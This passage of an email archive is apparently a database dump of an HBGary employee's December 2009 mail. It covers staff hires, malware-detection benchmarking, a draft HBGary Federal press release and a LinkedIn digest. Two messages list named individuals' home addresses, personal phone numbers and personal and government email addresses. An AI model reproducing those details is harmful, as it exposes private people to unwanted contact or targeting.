benchmarks:\r\n1. Against competitor products: Fireeye, Mandiant, Symantec, Mcafee, etc.\r\n2. percentage of detection against specific malware; the wild list, APT (I need to work with Phil on getting this piece).\r\n\r\nNeed some anecdotes on authorship identification, etc.\r\n\r\nI am looking forward to next week.\r\n\r\nAaron',7584,'aaron_hbgary_com/7584.html'),(410,'2009-12-04','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999790.M171386P3547Q410.eml','all@hbgary.com','James Richards','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThis week has been really busy and I forget everyone is not\r\nright here to see all the changes.\r\n\r\n&nbsp;\r\n\r\nSo, \r\n\r\n&nbsp;\r\n\r\nFirst, I&#8217;d like to introduce Kam Lui.&nbsp; Kam has\r\njoined the development team as software engineer and is focusing our on\r\nUI.&nbsp; Welcome Kam.&nbsp; kam@hbgary.com\r\n\r\n&nbsp;\r\n\r\nSecond, we had another new hire James Richards started on\r\nMonday.&nbsp; James has joined us to focus on our documentation and\r\ntraining.&nbsp; All training matters are to be directed to James.&nbsp; Welcome\r\nJames.\r\n\r\n&nbsp;\r\n\r\nThird, on Monday, we will have a new engineer in QA, John\r\nDay.&nbsp; John is going to work help automate our testing process.&nbsp;\r\nWelcome John\r\n\r\n&nbsp;\r\n\r\nAnd finally, on Monday we will have a new sales person\r\nlocated in DC start, Matt O&#8217;Flynn.&nbsp; Matt is familiar with HBGary and\r\nour offerings because he was previously at Guidance Software.&nbsp; Welcome\r\nMatt\r\n\r\n&nbsp;\r\n\r\nLots of new faces at HBGary which means more people to help\r\nmake HBGary and their products more prolific.&nbsp; Looks like the bet on the\r\n8200 square foot office was a good oneJ&nbsp;\r\n2010 is going to be a busy year.\r\n\r\n&nbsp;\r\n\r\nPenny\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15201,'aaron_hbgary_com/15201.html'),(411,'2009-12-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999790.M386982P3547Q411.eml','\"Barr Aaron\" <aaron@hbgary.com>','Remember Ed?','I have Ed Watanabe&#39;s personal contact info too:Ed WatanabeUSG	work	703-464-1770\r\n	mobile	703-801-2614	home	757-564-0268\r\n	main	571-280-2821	work	ewatanabe@aol.com\r\n	work	1902 Crescent Park Dr. (IP)Reston VA 20190\r\n	home	4 Chanteraine CloseWilliamsburg VA 23185-- \r\nTed H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',1320,'aaron_hbgary_com/1320.html'),(412,'2009-12-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999797.M593359P3547Q412.eml','\"Barr Aaron\" <aaron@hbgary.com>','Stan Potter','Stan PotterUSGwork	240-373-4093home stan.potter@gmail.comwork	slpotte@nsa.gov\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n',14452,'aaron_hbgary_com/14452.html'),(413,'2009-12-04','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999799.M23653P3547Q413.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','RE: DDNA and Feed processor','There is a site virus total that has benchmarks on malware with McAfee and\r\nSymantec, both of which are pretty bad.  Mandiant is still a signature\r\nsystem and it\'s more designed to do a dual role forensic/with \"some\" malware\r\nFireeye, Rich\'s knows about, it\'s a behavioral IDS but really no different\r\nthan what\'s offered from ISS or other but with perhaps better rules.  Are\r\nyou seeing Fireeye anywhere?  I know they\'ve burned through all their cash\r\nfrom their VC, got rid of the CEO etc\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, December 04, 2009 1:58 PM\r\nTo: Greg Hoglund\r\nCc: Penny Leavy; Ted Vera\r\nSubject: DDNA and Feed processor\r\n\r\nHey Greg,\r\n\r\nI would like to spend some time next week specifically talking about the\r\nevolution and use of DDNA and the Feed Processor.  We have gotten a lot of\r\ntraction this week talking about these products and our product/services\r\nmodel.\r\n\r\nIf its not already done whats the best path to get some specific benchmarks.\r\nSome of the possible benchmarks:\r\n1. Against competitor products: Fireeye, Mandiant, Symantec, Mcafee, etc.\r\n2. percentage of detection against specific malware; the wild list, APT (I\r\nneed to work with Phil on getting this piece).\r\n\r\nNeed some anecdotes on authorship identification, etc.\r\n\r\nI am looking forward to next week.\r\n\r\nAaron\r\n\r\n',16613,'aaron_hbgary_com/16613.html'),(414,'2009-12-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999799.M351135P3547Q414.eml','all@hbgary.com','RE: James Richards','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWelcome Kam and James!&nbsp; With Matt\r\nand John to follow!&nbsp; Wow!&nbsp; HBGary is growing up.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Friday, December 04, 2009 5:10 PM\r\nTo: all@hbgary.com\r\nSubject: James Richards\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThis week has been really busy and I forget everyone is not\r\nright here to see all the changes.\r\n\r\n&nbsp;\r\n\r\nSo, \r\n\r\n&nbsp;\r\n\r\nFirst, I&#8217;d like to introduce Kam Lui.&nbsp; Kam has joined\r\nthe development team as software engineer and is focusing our on UI.&nbsp;\r\nWelcome Kam.&nbsp; kam@hbgary.com\r\n\r\n&nbsp;\r\n\r\nSecond, we had another new hire James Richards started on\r\nMonday.&nbsp; James has joined us to focus on our documentation and\r\ntraining.&nbsp; All training matters are to be directed to James.&nbsp; Welcome\r\nJames.\r\n\r\n&nbsp;\r\n\r\nThird, on Monday, we will have a new engineer in QA, John\r\nDay.&nbsp; John is going to work help automate our testing process.&nbsp;\r\nWelcome John\r\n\r\n&nbsp;\r\n\r\nAnd finally, on Monday we will have a new sales person\r\nlocated in DC start, Matt O&#8217;Flynn.&nbsp; Matt is familiar with HBGary and our\r\nofferings because he was previously at Guidance Software.&nbsp; Welcome Matt\r\n\r\n&nbsp;\r\n\r\nLots of new faces at HBGary which means more people to help\r\nmake HBGary and their products more prolific.&nbsp; Looks like the bet on the\r\n8200 square foot office was a good oneJ&nbsp;\r\n2010 is going to be a busy year.\r\n\r\n&nbsp;\r\n\r\nPenny\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9760,'aaron_hbgary_com/9760.html'),(415,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999799.M774302P3547Q415.eml','\"Penny Hoglund\" <penny@hbgary.com>,\"Penny Hoglund\" <penny@hbgary.com>,,,','Re: DDNA and Feed processor','They had a booth at the AFCEA conference I just attended.  I snagged all their brochures.  I will get with Rich to try and put this information into some sort of competitive analysis spreadsheet.\r\n\r\nAaron\r\n\r\nOn Dec 4, 2009, at 5:13 PM, Penny Hoglund wrote:\r\n\r\n> There is a site virus total that has benchmarks on malware with McAfee and\r\n> Symantec, both of which are pretty bad.  Mandiant is still a signature\r\n> system and it\'s more designed to do a dual role forensic/with \"some\" malware\r\n> Fireeye, Rich\'s knows about, it\'s a behavioral IDS but really no different\r\n> than what\'s offered from ISS or other but with perhaps better rules.  Are\r\n> you seeing Fireeye anywhere?  I know they\'ve burned through all their cash\r\n> from their VC, got rid of the CEO etc\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, December 04, 2009 1:58 PM\r\n> To: Greg Hoglund\r\n> Cc: Penny Leavy; Ted Vera\r\n> Subject: DDNA and Feed processor\r\n> \r\n> Hey Greg,\r\n> \r\n> I would like to spend some time next week specifically talking about the\r\n> evolution and use of DDNA and the Feed Processor.  We have gotten a lot of\r\n> traction this week talking about these products and our product/services\r\n> model.\r\n> \r\n> If its not already done whats the best path to get some specific benchmarks.\r\n> Some of the possible benchmarks:\r\n> 1. Against competitor products: Fireeye, Mandiant, Symantec, Mcafee, etc.\r\n> 2. percentage of detection against specific malware; the wild list, APT (I\r\n> need to work with Phil on getting this piece).\r\n> \r\n> Need some anecdotes on authorship identification, etc.\r\n> \r\n> I am looking forward to next week.\r\n> \r\n> Aaron\r\n> \r\n\r\n',14125,'aaron_hbgary_com/14125.html'),(416,'2009-12-04','\"Aubrey MERCHANT DEST\" <Aubrey.MERCHANTDEST@qosmos.com>','/aaron@hbgary.com/new/1296999807.M776916P3547Q416.eml','aaron@hbgary.com','Qosmos Network Intelligence','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI would like to discuss our capability with you when you\r\nhave time.&nbsp; We believe we have a unique solution which can help in\r\nattribution.&nbsp; Our Network Intelligence building block is already part of\r\nsome activity at Carnegie Mellon University and the solution looks very\r\npromising.&nbsp; I&#8217;m not sure you&#8217;ve heard of us before but given\r\nthe opportunity I&#8217;d like provide you a proper overview of our capability\r\nand business strategy.&nbsp; I&#8217;ve attached a couple documents for you to\r\nreview.&nbsp; Please let me know your level of interest and how we may be able\r\nto progress this discussion.&nbsp; Thanks in advance.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\n&nbsp;\r\n\r\nAubrey Merchant-Dest\r\n\r\nSr. Consulting Engineer\r\n\r\n&nbsp;\r\n\r\n+1.301.528.8301 Office\r\n\r\n+1.301.351.4905 Cell\r\n\r\n+1.301.528.8302 Fax\r\n\r\nAubrey.Merchant@qosmos.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7418,'aaron_hbgary_com/7418.html'),(417,'2009-12-04','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1296999808.M211618P3547Q417.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 12/04/2009','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn Network Updates\r\n    Nov 27 - Dec 4\r\n  \r\n  \r\n    FEATURED UPDATES\r\n    See more updates &#187;\r\n  \r\n  \r\n    \r\n\r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n      \r\n        \r\n      \r\n        \r\n      \r\n        \r\n      \r\n       \r\n      Ted Vera has an updated GTalk ID: ted@hbgary.com, and other personal information. Update your personal info\r\n\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Bill Varner\r\n    is now connected to\r\n        Matthew Grimm\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Mohannad H. Gomaa, MBA PMP FE\r\nis now connected to\r\n            Carl Smith\r\n             and \r\n            Nathan Lucas\r\n             \r\n              \r\n            \r\n            \r\n              \r\n\r\n  Ryan Walters\r\nis now connected to\r\n            Rob Frye\r\n             and \r\n            Jos&#xe9; Luis Huertas Fern&#xe1;ndez\r\n             \r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    STATUS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  angela fugate\r\n      Update:  That home is now SOLD!\r\n  Add a comment &#187;\r\n  \r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  angela fugate has joined 3 groups, including\r\n      \r\n      New Homes Professional Network\r\n      and\r\n      Home Builder Network\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Stu Shea has joined\r\n    Harvard Business Club of DC\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    PHOTOS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n  Ted Vera has uploaded a new profile picture\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n  Michael Toth has uploaded a new profile picture\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n  Trae Stephens has uploaded a new profile picture\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n      angela fugate was recommended by\r\ncolleague      Cathy Davidson\r\n        Angela goes the extra mile to get the job done.  A team player, even if she has to be a 1-person tea...\r\n        Read more\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    APPLICATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Ted Vera\r\n                  \r\n                     is now using LinkedIn for iPhone.  \r\n                  \r\n                    Learn more &#187;\r\n                   \r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n    \r\n  \r\n  \r\n      \r\n      See more updates &#187;\r\n    \r\n  \r\n  \r\n    \r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2009, LinkedIn Corporation\r\n    \r\n  \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n',10296,'aaron_hbgary_com/10296.html'),(418,'2009-12-04','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1296999808.M441339P3547Q418.eml','penny@hbgary.com,aaron@hbgary.com,ted@hbgary.com,penny@hbgary.com,aaron@hbgary.com','Re: DRAFT FOR FINAL REVIEW: HBGary Federal Announcement','Hi everyone, I just wanted to check back to see if you had a chance to review this final draft --&nbsp;particularly the first paragraph. Thanks! Best, K--- On Fri, 12/4/09, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: DRAFT FOR FINAL REVIEW: HBGary Federal AnnouncementTo: penny@hbgary.com, aaron@hbgary.com, ted@hbgary.comCc: greg@hbgary.com, bob@hbgary.comDate: Friday, December 4, 2009, 9:39 AM\r\n\r\n\r\n\r\n\r\n\r\nBased on my conversation with Penny this morning, I have revised our press release annoucing HBGary Federal. Please review carefully for accuracy and let me know if you have any further changes. Ideally, it would be great to provide a another resource for people to go to get more information on HBGary&nbsp;Federal. Is there a phone number we can provide?&nbsp;\r\n&nbsp;\r\nAt this time, I plan to distribute to the press on Monday, December 7th, 2009. Once the press release is approved, I will pull together talking points for both Greg and Aaron for possible press interviews on Monday.\r\n&nbsp;\r\nThanks, Karen\r\n&nbsp;\r\n&nbsp;\r\nHBGary Launches HBGary Federal To Provide Cybersecurity Services \r\nTo U.S. Government Agencies \r\nNew Venture Led By Cybersecurity Experts and Former Northrop Grumman \r\nLeadership&nbsp;Aaron Barr and Ted Vera \r\nSacramento, California, December 7, 2009 -- HBGary, Inc., the leader in enterprise malware detection and analysis, today announced the spin-off of its U.S. government cybersecurity services group. The new company, known as HBGary Federal, will focus on delivering HBGary’s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. \r\nIn addition, HBGary CEO and founder Greg Hoglund announced that cybersecurity experts and former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera, will operate and lead HBGary Federal.&nbsp;Mr. Barr will serve as CEO and Mr. Vera will serve as President and COO working in HBGary Federal’s Washington D.C. and Colorado Springs offices, respectively. \r\n“As an early adopter of HBGary Digital DNA, the U.S. government understands that the bad guys not only exist but are already inside our mission critical systems. Under the expert leadership of Aaron and Ted, HBGary Federal will &nbsp;ensure the proper protection of our nation’s military, government and critical infrastructure systems, “ said Greg Hoglund, CEO and founder of HBGary. “HBGary will continue to focus on doing what we do best -- developing commercial software to detect and analyze Zero-Day threats to provide active intelligence and serving our rapidly growing customer\r\n base.” \r\nMr. Barr and Mr. Vera are well-respected security experts in the government market, both having managed critical programs to national security in the past. &nbsp;They both agree that the time is right to launch HBGary Federal, leveraging the best malware and cybersecurity analysts with most promising malware detection and prevention products on the market to help the government counter the advanced persistent threat. \r\n“Cyber warfare is becoming a much more utilized capability by our nation\'s adversaries.&nbsp; Our government is in desperate need for advanced cybersecurity technologies utilized in the hands of trained experts. HBGary Federal will provide the subject matter experts trained to most effectively leverage these tools to satisfy mission requirements. Outdated security technologies such as signature-based malware detection tools are no longer viable to protect our nation’s critical resources. HBGary’s behavior-based technologies such as Responder and Digital DNA represent the future.&nbsp; Our goal is to provide the technology in the hands of trained experts that can help mitigate an attack before it occurs,” said Aaron Barr, CEO of HBGary Federal.&nbsp; \r\n“I am very excited to work with Aaron to launch HBGary Federal. Greg and his team have developed a strong government customer base and it’s time to take the next step to build on their success. HBGary Federal, leveraging the HBGary product line and key partnerships, provides the expertise and the tools necessary for advanced analysis, malware reverse-engineering and incident response as well as mechanisms for building, distributing, and retaining that knowledge across the enterprise.&nbsp; As information operations transitions to a more net-centric environment there is a critical need for agile, forward-leaning teams with multi-disciplinary skills in native cultures, linguistics, creative design, and technology.&nbsp; HBGary Federal will set the standard for building and integrating such teams into customer missions for\r\n successful information operations campaigns,” said Ted Vera, President and COO of HBGary Federal. \r\n&nbsp; \r\nFor more information on HBGary Federal, please visit http://www.hbgary.com. \r\n&nbsp; \r\nAbout Aaron Barr, CEO, HBGary Federal \r\nPreviously, Aaron Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and&nbsp;as the Chief Engineer for Northrop Grummans’s Cyber Campaign. &nbsp; As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator.&nbsp; Mr. Barr served tours in Misawa,\r\n Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. &nbsp; While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachellors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security.&nbsp; He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums. \r\n&nbsp; \r\nAbout Ted Vera, COO and President, HBGary Federal \r\nPrior to joining HBGary Federal, Ted Vera led the Netcentric Information Operations Department for Northrop Grumman Information Systems. In this role, he managed over 40 personnel and was responsible for contracts valued over $25M. He has 20 years of Information Technology experience, with a proven track record of winning and executing U.S. Government contracts within the DoD and Intelligence Community. &nbsp;He has a breadth of IT experience, having excelled in positions including: &nbsp;system administrator, Website developer, system engineer, system security engineer and program manager. &nbsp;He has led development projects of all sizes, from small custom web applications to large enterprise systems-of-systems leveraging commercial-off-the-shelf\r\n architectures. &nbsp; Mr. Vera served ten years in the U.S. Army, starting in 1990 with the FL Army National Guard as a Field Artillery Fire Direction Specialist.&nbsp; His last duty assignment was as a shift NCO at the Army Space Operations Center at Army Space Command HQs, located in Colorado Springs, CO. During his tenure with Northrop Grumman, Mr. Vera consistently achieved extraordinary business results and received numerous prestigious customer and company awards including the 2002 NRO Operations Industrial Partner of the Year, and the 2008 TASC President\'s Award. Mr. Vera holds security clearances with the DoD and Intelligence Community. Mr. Vera earned a BS in Computer Information Systems from Colorado Christian University and a MS in Computer Science from Colorado Technical University. \r\n&nbsp; \r\n&nbsp; \r\nAbout HBGary, Inc. \r\nHBGary, Inc. was founded in 2003 by renowned security expert Greg Hoglund. Mr. Hoglund and his team are internationally known experts in the field of Windows internals, software reverse engineering, bug identification, rootkit techniques and countermeasures. Today HBGary specializes in developing enterprise malware detection and analysis solutions and incident response tools that provide active intelligence for its customers.&nbsp;Customers include leading government, financial, and healthcare organizations. The company is headquartered in Sacramento with sales offices in the Washington D.C. area. HBGary is privately held. For more information on the company, please visit: http://www.hbgary.com.\r\n \r\nFor more information: \r\nKaren Burke \r\n650-814-3764 \r\nkarenmaryburke@yahoo.com&nbsp; \r\n&nbsp; \r\n&nbsp;\r\n\r\n\r\n\r\n',16333,'aaron_hbgary_com/16333.html'),(419,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999808.M650974P3547Q419.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: DRAFT FOR FINAL REVIEW: HBGary Federal Announcement','Looks goodFrom my iPhoneOn Dec 4, 2009, at 5:44 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nHi everyone, I just wanted to check back to see if you had a chance to review this final draft -- particularly the first paragraph. Thanks! Best, K\r\n--- On Fri, 12/4/09, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: DRAFT FOR FINAL REVIEW: HBGary Federal Announcement\r\nTo: penny@hbgary.com, aaron@hbgary.com, ted@hbgary.comCc: greg@hbgary.com, bob@hbgary.com\r\nDate: Friday, December 4, 2009, 9:39 AM\r\n\r\n\r\n\r\n\r\n\r\nBased on my conversation with Penny this morning, I have revised our press release annoucing HBGary Federal. Please review carefully for accuracy and let me know if you have any further changes. Ideally, it would be great to provide a another resource for people to go to get more information on HBGary Federal. Is there a phone number we can provide? \r\n\r\n \r\nAt this time, I plan to distribute to the press on Monday, December 7th, 2009. Once the press release is approved, I will pull together talking points for both Greg and Aaron for possible press interviews on Monday.\r\n\r\n \r\nThanks, Karen\r\n \r\n \r\nHBGary Launches HBGary Federal To Provide Cybersecurity Services \r\nTo U.S. Government Agencies \r\nNew Venture Led By Cybersecurity Experts and Former Northrop Grumman \r\nLeadership Aaron Barr and Ted Vera \r\nSacramento, California, December 7, 2009 -- HBGary, Inc., the leader in enterprise malware detection and analysis, today announced the spin-off of its U.S. government cybersecurity services group. The new company, known as HBGary Federal, will focus on delivering HBGary’s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. \r\nIn addition, HBGary CEO and founder Greg Hoglund announced that cybersecurity experts and former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera, will operate and lead HBGary Federal. Mr. Barr will serve as CEO and Mr. Vera will serve as President and COO working in HBGary Federal’s Washington D.C. and Colorado Springs offices, respectively. \r\n“As an early adopter of HBGary Digital DNA, the U.S. government understands that the bad guys not only exist but are already inside our mission critical systems. Under the expert leadership of Aaron and Ted, HBGary Federal will  ensure the proper protection of our nation’s military, government and critical infrastructure systems, “ said Greg Hoglund, CEO and founder of HBGary. “HBGary will continue to focus on doing what we do best -- developing commercial software to detect and analyze Zero-Day threats to provide active intelligence and serving our rapidly growing customer\r\n base.” \r\nMr. Barr and Mr. Vera are well-respected security experts in the government market, both having managed critical programs to national security in the past.  They both agree that the time is right to launch HBGary Federal, leveraging the best malware and cybersecurity analysts with most promising malware detection and prevention products on the market to help the government counter the advanced persistent threat. \r\n“Cyber warfare is becoming a much more utilized capability by our nation&#39;s adversaries.  Our government is in desperate need for advanced cybersecurity technologies utilized in the hands of trained experts. HBGary Federal will provide the subject matter experts trained to most effectively leverage these tools to satisfy mission requirements. Outdated security technologies such as signature-based malware detection tools are no longer viable to protect our nation’s critical resources. HBGary’s behavior-based technologies such as Responder and Digital DNA represent the future.  Our goal is to provide the technology in the hands of trained experts that can help mitigate an attack before it occurs,” said Aaron Barr, CEO of HBGary Federal.  \r\n“I am very excited to work with Aaron to launch HBGary Federal. Greg and his team have developed a strong government customer base and it’s time to take the next step to build on their success. HBGary Federal, leveraging the HBGary product line and key partnerships, provides the expertise and the tools necessary for advanced analysis, malware reverse-engineering and incident response as well as mechanisms for building, distributing, and retaining that knowledge across the enterprise.  As information operations transitions to a more net-centric environment there is a critical need for agile, forward-leaning teams with multi-disciplinary skills in native cultures, linguistics, creative design, and technology.  HBGary Federal will set the standard for building and integrating such teams into customer missions for\r\n successful information operations campaigns,” said Ted Vera, President and COO of HBGary Federal. \r\n  \r\nFor more information on HBGary Federal, please visit http://www.hbgary.com. \r\n  \r\nAbout Aaron Barr, CEO, HBGary Federal \r\nPreviously, Aaron Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and as the Chief Engineer for Northrop Grummans’s Cyber Campaign.   As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator.  Mr. Barr served tours in Misawa,\r\n Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain.   While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachellors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security.  He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums. \r\n  \r\nAbout Ted Vera, COO and President, HBGary Federal \r\nPrior to joining HBGary Federal, Ted Vera led the Netcentric Information Operations Department for Northrop Grumman Information Systems. In this role, he managed over 40 personnel and was responsible for contracts valued over $25M. He has 20 years of Information Technology experience, with a proven track record of winning and executing U.S. Government contracts within the DoD and Intelligence Community.  He has a breadth of IT experience, having excelled in positions including:  system administrator, Website developer, system engineer, system security engineer and program manager.  He has led development projects of all sizes, from small custom web applications to large enterprise systems-of-systems leveraging commercial-off-the-shelf\r\n architectures.   Mr. Vera served ten years in the U.S. Army, starting in 1990 with the FL Army National Guard as a Field Artillery Fire Direction Specialist.  His last duty assignment was as a shift NCO at the Army Space Operations Center at Army Space Command HQs, located in Colorado Springs, CO. During his tenure with Northrop Grumman, Mr. Vera consistently achieved extraordinary business results and received numerous prestigious customer and company awards including the 2002 NRO Operations Industrial Partner of the Year, and the 2008 TASC President&#39;s Award. Mr. Vera holds security clearances with the DoD and Intelligence Community. Mr. Vera earned a BS in Computer Information Systems from Colorado Christian University and a MS in Computer Science from Colorado Technical University. \r\n  \r\n  \r\nAbout HBGary, Inc. \r\nHBGary, Inc. was founded in 2003 by renowned security expert Greg Hoglund. Mr. Hoglund and his team are internationally known experts in the field of Windows internals, software reverse engineering, bug identification, rootkit techniques and countermeasures. Today HBGary specializes in developing enterprise malware detection and analysis solutions and incident response tools that provide active intelligence for its customers. Customers include leading government, financial, and healthcare organizations. The company is headquartered in Sacramento with sales offices in the Washington D.C. area. HBGary is privately held. For more information on the company, please visit: http://www.hbgary.com.\r\n \r\nFor more information: \r\nKaren Burke \r\n650-814-3764 \r\nkarenmaryburke@yahoo.com  \r\n  \r\n \r\n\r\n\r\n\r\n      \r\n',16341,'aaron_hbgary_com/16341.html'),(420,'2009-12-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999808.M840794P3547Q420.eml','\"Barr Aaron\" <aaron@hbgary.com>','SWAG','I&#39;m not done with it yet.  I&#39;d like some better logos, but check this out:http://www.cafepress.com/HBGaryTed\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',13465,'aaron_hbgary_com/13465.html'),(421,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999809.M174880P3547Q421.eml','\"Ted Vera\" <ted@hbgary.com>','Re: SWAG','What about button shorts and polos?From my iPhoneOn Dec 4, 2009, at 6:13 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nI&#39;m not done with it yet.  I&#39;d like some better logos, but check this out:http://www.cafepress.com/HBGary\r\nTed\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n\r\n',5161,'aaron_hbgary_com/5161.html'),(422,'2009-12-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999809.M401108P3547Q422.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: SWAG','Give me a sec. &nbsp;Damn, ungrateful...TedOn Dec 4, 2009, at 4:15 PM, Aaron Barr wrote:What about button shorts and polos?From my iPhoneOn Dec 4, 2009, at 6:13 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote: I\'m not done with it yet. &nbsp;I\'d like some better logos, but check this out:http://www.cafepress.com/HBGary Ted -- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623   ___Ted Vera | COO | HBGary Federal, Inc.Cell Phone 719-237-8623Website: &nbsp;www.hbgary.comEmail: &nbsp;ted@hbgary.com ',8442,'aaron_hbgary_com/8442.html'),(423,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999809.M826538P3547Q423.eml','\"Ted Vera\" <ted@hbgary.com>','Re: SWAG','Lol.  It&#39;s cool.From my iPhoneOn Dec 4, 2009, at 6:16 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nGive me a sec.  Damn, ungrateful...TedOn Dec 4, 2009, at 4:15 PM, Aaron Barr 